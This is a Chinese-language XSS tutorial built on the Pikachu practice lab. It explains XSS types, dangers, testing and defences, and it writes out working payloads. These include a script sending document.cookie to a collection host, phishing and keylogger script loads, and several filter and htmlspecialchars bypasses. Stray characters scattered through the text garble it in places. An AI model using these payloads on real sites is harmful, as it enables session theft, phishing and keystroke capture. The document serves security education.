一叼屠、什么是 XSS?
XSS全稱(Cross Site Scripting)跨站腳本攻擊港庄,是最常見的Web應(yīng)用程序安全漏洞之一欢搜,位于OWASP top 10 2013/2017年度分別為第三名和第七名牛曹,XSS是指攻擊者在網(wǎng)頁中嵌入客戶端腳本,通常是JavaScript編寫的危險(xiǎn)代碼株依,當(dāng)用戶使用瀏覽器瀏覽網(wǎng)頁時(shí)驱证,腳本就會(huì)在用戶的瀏覽器上執(zhí)行延窜,從而達(dá)到攻擊者的目的恋腕。 從上面中的一段話,可以得知逆瑞,XSS屬于客戶端攻擊荠藤,受害者最終是用戶,但特別要注意的是網(wǎng)站管理人員也屬于用戶之一获高。這就意味著XSS可以進(jìn)行“服務(wù)端”攻擊哈肖,因?yàn)楣芾韱T要比普通用戶的權(quán)限大得多,一般管理員都可以對(duì)網(wǎng)站進(jìn)行文件管理念秧,數(shù)據(jù)管理等操作淤井,而攻擊者一般也是靠管理員身份作為“跳板”進(jìn)行實(shí)施攻擊。 XSS攻擊最終目的是在網(wǎng)頁中嵌入客戶端惡意腳本代碼摊趾,最常用的攻擊代碼是javascript語言币狠,但也會(huì)使用其它的腳本語言,例如:ActionScript砾层、VBscript漩绵。而如今的互聯(lián)網(wǎng)客戶端腳本基本是基于Javascript,所以如果想要深入研究XSS,必須要精通Javascript肛炮。 XSS換句話說止吐,JavaScript能做到什么效果,XSS的胃口就有多大侨糟。這完全不是危言聳聽碍扔。javascript可以用來獲取用戶的cookie,彈出窗口秕重,那么存在XSS漏洞的網(wǎng)站不同,XSS就可以用來盜取用戶Cookie,廢掉頁面,導(dǎo)航到惡意網(wǎng)站悲幅!更高端的XSS代碼完全可以進(jìn)行監(jiān)控你的鍵盤操作套鹅,模仿Windows注銷界面站蝠,誘導(dǎo)你輸入開機(jī)密碼!而攻擊者需要做的僅僅是向你的代碼中注入Javascript代碼卓鹿!?
二菱魔、XSS漏洞出現(xiàn)的原因
程序?qū)斎牒洼敵龅目刂撇粔驀?yán)格,導(dǎo)致"精心構(gòu)造“的腳本輸入后,在輸?shù)角岸藭r(shí)被瀏覽器當(dāng)作有效代碼解析執(zhí)行從而產(chǎn)生危害吟孙。??
三澜倦、XSS的危害
1、首先對(duì)于那些半年沒有更新的小企業(yè)網(wǎng)站來說杰妓,發(fā)生XSS漏洞幾乎沒有什么用藻治。一般在各類的社交平臺(tái),郵件系統(tǒng)巷挥,開源流行的Web應(yīng)用桩卵,BBS,微博等場(chǎng)景中倍宾,造成的殺傷力卻十分強(qiáng)大雏节。
?2、劫持用戶cookie是最常見的跨站攻擊形式高职,通過在網(wǎng)頁中寫入并執(zhí)行腳本執(zhí)行文件(多數(shù)情況下是JavaScript腳本代碼)钩乍,劫持用戶瀏覽器,將用戶當(dāng)前使用的sessionID信息發(fā)送至攻擊者控制的網(wǎng)站或服務(wù)器中怔锌。
?3寥粹、“框架釣魚”。利用JS腳本的基本功能之一:操作網(wǎng)頁中的DOM樹結(jié)構(gòu)和內(nèi)容埃元,在網(wǎng)頁中通過JS腳本涝涤,生成虛假的頁面,欺騙用戶執(zhí)行操作亚情,而用戶所有的輸入內(nèi)容都會(huì)被發(fā)送到攻擊者的服務(wù)器上妄痪。
?4、掛馬(水坑攻擊)?
?5楞件、有局限性的鍵盤記錄衫生。
四、 XSS分類?
?1土浸、反射型XSS或不持久型XSS(中危) 交互的數(shù)據(jù)一般不會(huì)被存在在數(shù)據(jù)庫里面,只是簡(jiǎn)單的把用戶輸入的數(shù)據(jù)反射給瀏覽器罪针,一次性,所見即所得黄伊。 <?php $name = $_GET['name']; echo "Welcome $name<br>"; ?>?
?2泪酱、儲(chǔ)存型XSS 或持久型 XSS(高危) 交互的數(shù)據(jù)會(huì)被存在在數(shù)據(jù)庫里面,永久性存儲(chǔ),具有很強(qiáng)的穩(wěn)定性。
?3、DOM XSS 不與后臺(tái)服務(wù)器產(chǎn)生數(shù)據(jù)交互,通過前端的dom節(jié)點(diǎn)形成的XSS漏洞墓阀。 什么是DOM:DOM全稱是Document Object Model毡惜,也就是文檔對(duì)象模型。我們可以將DOM理解為斯撮,一個(gè)與系統(tǒng)平臺(tái)和編程語言無關(guān)的接口经伙,程序和腳本可以通過這個(gè)接口動(dòng)態(tài)地訪問和修改文檔內(nèi)容、結(jié)構(gòu)和樣式勿锅。當(dāng)創(chuàng)建好一個(gè)頁面并加載到瀏覽器時(shí)帕膜,DOM就悄然而生,它會(huì)把網(wǎng)頁文檔轉(zhuǎn)換為一個(gè)文檔對(duì)象溢十,主要功能是處理網(wǎng)頁內(nèi)容垮刹。故可以使用 Javascript 語言來操作DOM以達(dá)到網(wǎng)頁的目的。 http://www.w3school.com.cn/htmldom/index.asp <a href='"+str+"'>what do you see?</a> <a href='#' onclick="alert(1111)">what do you see?</a> <a href='#' onclick="alert(2222)">what do you see?</a>
?五张弛、XSS可能存在的地方
(參考xss跨站腳本攻擊文檔) HTML context Attribute Context URL Context Style Context Script Context?
?六荒典、XSS測(cè)試方法
?1、工具掃描:APPscan乌庶、AWVS?
?2种蝶、手工測(cè)試:Burpsuite、firefox(hackbar)瞒大、XSSER XSSF 使用手工檢測(cè)Web應(yīng)用程序是否存在XSS漏洞時(shí),最重要的是考慮那里有輸入搪桂,輸入的數(shù)據(jù)在什么地方輸出透敌。在進(jìn)行手工檢測(cè)XSS時(shí),人畢竟不像軟件那樣不知疲憊踢械,所以一定要選擇有特殊意義的字符酗电,這樣可以快速測(cè)試是否存在XSS。 ?
(1)在目標(biāo)站點(diǎn)上找到輸入點(diǎn)内列,比如查詢接口撵术,留言板等;
(2)輸入一組"特殊字符+唯一識(shí)別字符"话瞧,點(diǎn)擊提交后嫩与,查看返回的源碼,是否有做對(duì)應(yīng)的處理;
(3)通過搜索定位到唯一字符,結(jié)合唯一字符前后語法確認(rèn)是否可以構(gòu)造執(zhí)行js的條件(構(gòu)造閉合);提交構(gòu)造的腳本代碼交排,看是否可以成功執(zhí)行划滋,如果成功執(zhí)行則說明存在XSS漏洞;
?七埃篓、實(shí)戰(zhàn)?
1处坪、xss平臺(tái)搭建及后臺(tái)使用(cookie獲取) '"><script>document.location = 'http://192.168.0.107/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script> //通過document.location 實(shí)例進(jìn)行重定向到http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie=?
2、反射型XSS(POST)獲取用戶密碼 post攻擊利用頁面 D:\phpStudy\WWW\pikachu\pkxss\xcookie\post.html http://192.168.0.103:8080/post.html
3同窘、xss釣魚演示 釣魚攻擊利用頁面 D:\phpStudy\WWW\pikachu\pkxss\xfish <script src="http://192.168.0.107/pikachu/pkxss/xfish/fish.php"></script>?
?4玄帕、xss獲取鍵盤記錄演示?
(1)、什么是跨域 http:// www. oldboyedu.com :80 / news/index.php 協(xié)議 子域名 主域名 端口 資源地址 當(dāng)協(xié)議想邦、主機(jī)(主域名桨仿,子域名)、端口中的任意一個(gè)不相同時(shí)案狠,稱為不同域服傍。我們把不同的域之間請(qǐng)求數(shù)據(jù)的操作,成為跨域操作骂铁。
(2)吹零、同源策略 為了安全考慮,所有瀏覽器都約定了“同源策略”拉庵,同源策略禁止頁面加載或執(zhí)行與自身來源不同的域的任何腳本既不同域之間不能使用JS進(jìn)行操作灿椅。比如:x.com域名下的js不能操作y.com域名下的對(duì)象 那么為什么要有同源策略? 比如一個(gè)惡意網(wǎng)站的頁面通過js嵌入了銀行的登錄頁面(二者不同源)钞支,如果沒有同源限制茫蛹,惡意網(wǎng)頁上的javascript腳本就可以在用戶登錄銀行的時(shí)候獲取用戶名和密碼。 Tips:下面這些標(biāo)簽跨域加載資源(資源類型是有限止的)是不受同源策略限制的 <script src="..."> //加載本地js執(zhí)行 <img src="..."> //圖片 <link href="..."> //css <iframe src="..."> //任意資源?
(3)烁挟、同源策略修改 D:\phpStudy\WWW\pikachu\pkxss\rkeypress\rkserver.php 同之前的案例到后臺(tái)設(shè)置好Access-Control-Allow-Origin婴洼,設(shè)置為*,既允許所有人訪問撼嗓。
(4)rk.js關(guān)鍵代碼解讀 var realkey = String.fromCharCode(event.keyCode); //獲取用戶鍵盤記錄柬采,最后轉(zhuǎn)化為字符串 xl+=realkey; //賦值給x1 show(); //調(diào)用show涵數(shù),通過下面ajax進(jìn)行post發(fā)送鍵盤記錄人內(nèi)容 輸入設(shè)置好的惡意JS代碼: <script src="http://192.168.0.101/pikachu/pkxss/rkeypress/rk.js"></script>然后在鍵盤上隨意輸入且警,就可以到xss平臺(tái)上去查看鍵盤輸入的結(jié)果粉捻。
?5.XSS盲打?
?XSS盲打就是攻擊者在前端提交的數(shù)據(jù)不知道后臺(tái)是否存在xss漏洞的情況下,提交惡意JS代碼在類似留言板等輸入框后斑芜,所展現(xiàn)的后臺(tái)位置的情況下肩刃,網(wǎng)站采用了攻擊者插入的惡意代碼,當(dāng)后臺(tái)管理員在操作時(shí)就會(huì)觸發(fā)插入的惡意代碼杏头,從而達(dá)到攻擊者的目的盈包。 管理員后臺(tái): http://http://192.168.0.101/pikachu/vul/xss/xssblind/admin_login.php?
?八、XSS繞過
大多數(shù)網(wǎng)站為了避免xss的攻擊大州,對(duì)于攻擊者的輸入都采取了過濾的措施续语,導(dǎo)致攻擊者通常不能正常插入惡意代碼來達(dá)到攻擊目的。但是仍存在一些漏洞可以利用厦画,來繞過過濾措施疮茄。 xss繞過的方法有許多滥朱,主要取決于攻擊者的思路和對(duì)前端技術(shù)的掌握,以下介紹幾個(gè)簡(jiǎn)單的繞過方法力试。 ?
(1)對(duì)前端的限制可以嘗試進(jìn)行抓包重發(fā)或者修改前端的HTML徙邻。
(2)防止后臺(tái)對(duì)輸入的內(nèi)容進(jìn)行正則匹配來過濾輸入,對(duì)于這樣的過濾可以考慮大小寫混合輸入的方法畸裳。 例:<sCRipT>alert('你打籃球像oldboy')</sCrIPt>?
(3)防止后臺(tái)對(duì)輸入的內(nèi)容進(jìn)行替換缰犁,采用拼拼湊的輸入方法。 例:<sc<script>ript>alert('你打籃球像oldboy')</scr<script>ipt>?
(4)使用注釋來干擾后臺(tái)對(duì)輸入內(nèi)容的識(shí)別怖糊。 例:<sc<!--test-->ript>alert('你打籃球像oldboy')</scr<!--tshauie-->ipt>?
(5)編碼 思路:后臺(tái)有可能會(huì)對(duì)代碼中的關(guān)鍵字進(jìn)行過濾帅容,但我們可以嘗試將關(guān)鍵字進(jìn)行編碼后在插入,瀏覽器對(duì)改編碼進(jìn)行識(shí)別時(shí)伍伤,會(huì)翻譯成正常的代碼并徘。(注意:編碼在輸出時(shí)是否會(huì)被正常識(shí)別和翻譯才是關(guān)鍵,不是所有的編碼都是可以的) 例:使用事件屬性onerror(): <img src=# onerror="alert('oldboy')"/> 使用HTML進(jìn)行編碼: <img src=x onerror="alert('yangshuang')"/>
?九扰魂、XSS繞過之htmlspecialchars()函數(shù)?
htmlspecialchars()函數(shù)把一些預(yù)定義的字符轉(zhuǎn)換為 HTML 實(shí)體麦乞。 預(yù)定義的字符是: & (和號(hào))成為 & " (雙引號(hào))成為 " ’ (單引號(hào))成為' < (小于)成為 < >(大于)成為 > 該函數(shù)的語法:htmlspecialchars(string,flags,character-set,double_encode) 過濾原理:htmlspecialchars() 函數(shù)把預(yù)定義的字符轉(zhuǎn)換為 HTML 實(shí)體,從而使XSS攻擊失效劝评。但是這個(gè)函數(shù)默認(rèn)配置不會(huì)將單引號(hào)和雙引號(hào)過濾姐直,只有設(shè)置了quotestyle規(guī)定如何編碼單引號(hào)和雙引號(hào)才能會(huì)過濾掉單引號(hào) 可用的quotestyle類型: ENT_COMPAT - 默認(rèn)。僅編碼雙引號(hào) ENT_QUOTES - 編碼雙引號(hào)和單引號(hào) ENT_NOQUOTES - 不編碼任何引號(hào) 可使用以下語句繞過: q' onclick='alert(111)'?
?十蒋畜、XSS常規(guī)防范
?XSS防御的總體思路是:
對(duì)輸入進(jìn)行過濾声畏,對(duì)輸出進(jìn)行編碼過濾:
根據(jù)業(yè)務(wù)需求進(jìn)行過濾,比如輸出點(diǎn)要求輸入手機(jī)號(hào)百侧,則只允許輸入手機(jī)號(hào)格式的數(shù)字砰识。?
轉(zhuǎn)義:所有輸出到前端的數(shù)據(jù)都根據(jù)輸出點(diǎn)進(jìn)行轉(zhuǎn)義,比如輸出到html中進(jìn)行html實(shí)體轉(zhuǎn)義佣渴,輸入到JS里面的進(jìn)行JS轉(zhuǎn)義(\)
?xss之href輸出繞過:javascript:alert(1111) 直接代入a標(biāo)簽herf里面一樣可以繞過htmlspecialchars xss之js輸出繞過: <script> $ms='11'</script><script>alert(1111)</script> ; if($ms.length != 0){ if($ms == 'tmac'){ $('#fromjs').text('tmac確實(shí)厲害,看那小眼神..') }else { // alert($ms); $('#fromjs').text('無論如何不要放棄心中所愛..') } } </script>